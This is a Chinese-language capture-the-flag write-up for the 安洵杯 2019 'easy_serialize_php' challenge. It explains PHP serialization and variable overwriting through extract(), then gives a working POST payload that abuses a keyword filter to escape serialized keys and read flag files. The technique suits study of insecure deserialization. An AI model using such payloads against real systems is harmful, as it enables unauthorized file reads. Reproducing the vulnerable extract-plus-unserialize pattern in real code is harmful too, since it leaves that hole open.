[安洵杯 2019]easy_serialize_php

[安洵杯 2019]easy_serialize_php.md

鍛鍊代碼審計能力和學習

PHP反序列化

反序列化中的對象逃逸

SQL注入既視感

首先明確幾個點:

chichichi

序列化後的結果是一串字符串。

反序列化會解開序列化的字符串生成相應類型的數據。

如下代碼示例,img是一個數組,下標分別是one和two,對應的值分別是flag,test。

<?php
$img['one'] = "flag";
$img['two'] = "test";
$a = serialize($img);
var_dump($a);
#輸出: string(48) "a:2:{s:3:"one";s:4:"flag";s:3:"two";s:4:"test";}"

$b = unserialize($a);
var_dump($b);
/*輸出如下內容:
array(2) {
  ["one"]=>
  string(4) "flag"
  ["two"]=>
  string(4) "test"
}
*/

序列化部分:

經過serialize序列化後生成了相應的字符串: a:2:{s:3:“one”;s:4:“flag”;s:3:“two”;s:4:“test”;}

a表示數組 , a:2中的2表示有兩個鍵值,即對應的one、two兩組鍵值對。

花括號中的s都表示string即字符串,

s:後面的值分別是3、4、3、4,即對應的字符串長度,比如one長度是三,flag長度是4

反序列化部分:

unserialize函數將字符串解序列化,我們用var_dump函數顯示了他的詳細信息。

可見解序列化後由變量$b,接收了img數組。

序列化中每個字母的表示

a array數組
b boolean判斷類型
d double浮點數
i integer整數型
o common object 一般的對象
r reference引用類型
s string字符串類型
C custom object
O class
N null
R pointer reference
U unicode string

分析題目源碼

<?php

$function = @$_GET['f'];

function filter($img){
    $filter_arr = array('php','flag','php5','php4','fl1g');
    $filter = '/'.implode('|',$filter_arr).'/i';
    return preg_replace($filter,'',$img);
}

if($_SESSION){
    unset($_SESSION);
}

$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;

extract($_POST);

if(!$function){
    echo '<a href="index.php?f=highlight_file">source_code</a>';
}

if(!$_GET['img_path']){
    $_SESSION['img'] = base64_encode('guest_img.png');
}else{
    $_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}

$serialize_info = filter(serialize($_SESSION));

if($function == 'highlight_file'){
    highlight_file('index.php');
}else if($function == 'phpinfo'){
    eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
    $userinfo = unserialize($serialize_info);
    echo file_get_contents(base64_decode($userinfo['img']));
}

發現d0g3_f1ag.php

我把可以對應起來的代碼放到了一起

$function = @$_GET['f'];

if($function == 'highlight_file'){
    highlight_file('index.php');
}else if($function == 'phpinfo'){
    eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
    $userinfo = unserialize($serialize_info);
    echo file_get_contents(base64_decode($userinfo['img']));
}

根據上面可以清楚,f是我們用get方法傳參得到的變量並由$function接收。

$function發揮作用的代碼塊,在最下方的判斷句。

咱們初步訪問的時候f=highlight_file,

判斷句中給了提示,那麼f=phpinfo時,我們就看到了phpinfo的頁面,phpinfo有很多配置項會顯示。

我們發現了auto_append_file d0g3_f1ag.php 在頁面底部加載文件d0g3_f1ag.php。

所以可以猜測flag應該要從d0g3_f1ag.php拿。

當f=show_image是可以讀文件的,只要$userinfo[‘img’]是相應的flag.php的base64加密,所以我們先記住這個點,一會肯定要用

image-20200419154751652

發現變量覆蓋

if($_SESSION){
    unset($_SESSION);
}

$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;

extract($_POST);

filter函數是爲了過濾用的,可以先繼續往下看,到如下的時候。

我萌發現unset函數將$_SESSION銷燬了。

然後重新賦予$_SESSION了新的值。

最後調用了extract($_POST);

extract() 函數從數組中將變量導入到當前的符號表。

可參考:https://www.w3school.com.cn/php/func_array_extract.asp

舉例extract()變量覆蓋

根據extract()我們可以進行變量覆蓋,

當我們傳入SESSION[flag]=123時,SESSION["user"]SESSION["user"]和SESSION[‘function’] 全部會消失。

只剩下_SESSION[flag]=123。

<?php
$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;
var_dump($_SESSION);
echo "<br/>";
extract($_POST);
var_dump($_SESSION);

image-20200419160316281

繼續往下

知道了變量符改,我們可以幹什麼呢,往下看叭。

由於有了如下的代碼,我們直接進行變量覆蓋,直接給$SESSION[‘img’]一個預想的值是不現實的,

因爲$SESSION[‘img’] = base64_encode(‘guest_img.png’)是後執行的。

if(!$_GET['img_path']){
    $_SESSION['img'] = base64_encode('guest_img.png');
}else{
    $_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}

窮途末路

function filter($img){
    $filter_arr = array('php','flag','php5','php4','fl1g');
    $filter = '/'.implode('|',$filter_arr).'/i';
    return preg_replace($filter,'',$img);
}

$serialize_info = filter(serialize($_SESSION));

if($function == 'highlight_file'){
    highlight_file('index.php');
}else if($function == 'phpinfo'){
    eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
    $userinfo = unserialize($serialize_info);
    echo file_get_contents(base64_decode($userinfo['img']));
}

只能看看filter函數了,發現把傳入的字符串幾個特定字符會替換成空。

後來就是看大佬萌的wp了。

大佬萌都是用鍵值逃逸。

原理:因爲序列化吼的字符串是嚴格的,對應的格式不能錯,比如s:4:“name”,那s:4就必須有一個字符串長度是4的否則就往後要。

並且unserialize會把多餘的字符串當垃圾處理,在花括號內的就是正確的,花括號後面的就都被扔掉。

示例:

<?php
#正規序列化的字符串
$a = "a:2:{s:3:\"one\";s:4:\"flag\";s:3:\"two\";s:4:\"test\";}";
var_dump(unserialize($a));
#帶有多餘的字符的字符串
$a_laji = "a:2:{s:3:\"one\";s:4:\"flag\";s:3:\"two\";s:4:\"test\";};s:3:\"真的垃圾img\";lajilaji";
var_dump(unserialize($a_laji));

我們有了這個逃逸概念的話,就大概可以理解了。如果我們把

$_SESSION[‘img’] = base64_encode(‘guest_img.png’);這段代碼的img屬性放到花括號外邊去,

然後花括號中注好新的img屬性,那麼他本來要求的img屬性就被咱們替換了。

那如何達到這個目的就要通過過濾函數了,因爲咱的序列化的是個字符串啊,然後他又把黑名單的東西替換成空。

大佬的payload:

post一個數據。

_SESSION[phpflag]=;s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}

ZDBnM19mMWFnLnBocA==也就是d0g3_f1ag.php的base64加密。

s:3:“img”;s:20:“ZDBnM19mMWFnLnBocA==”;}這個肯定就是我們預期的那段序列化字符,

那麼 ;s:1:“1”; 這幾個字符呢?

如果使用大佬的payload那麼可以明白,現在的_SESSION就存在兩個鍵值即phpflag和img對應的鍵值對。

並且這個字符串得好好讀才能不蒙圈。

$_SESSION['phpflag']=";s:1:\"1\";s:3:\"img\";s:20:\"ZDBnM19mMWFnLnBocA==\";}";
$_SESSION['img'] = base64_encode('guest_img.png');
var_dump( serialize($_SESSION) );
#"a:2:{s:7:"phpflag";s:48:";s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}"
;s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}"

經過filter過濾後phpflag就會被替換成空,

s:7:“phpflag”;s:48:" 就變成了 s:7:"";s:48:";即完成了逃逸。

兩個鍵值分別被序列化成了

s:7:"";s:48:";s:1:“1”;即鍵名叫";s:48: 對應的值爲一個字符串1。這個鍵值對只要能瞞天過海就行。

s:3:“img”;s:20:“ZDBnM19mMWFnLnBocA==”;鍵名img對應的字符串是d0g3_f1ag.php的base64編碼。

右花括號後面的;s:3:“img”;s:20:“Z3Vlc3RfaW1nLnBuZw==”;}"全被當成孤兒放棄了。

注入

image-20200419165821261

發現/d0g3_fllllllag

image-20200419165856797

拿flag

/d0g3_fllllllag進行base64加密L2QwZzNfZmxsbGxsbGFn,恰巧也是20位。就替換原來的就好。

image-20200419170008673

不行了我哭了

感覺自己和那個被扔掉的序列化字符串一樣是個孤兒。

kl

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章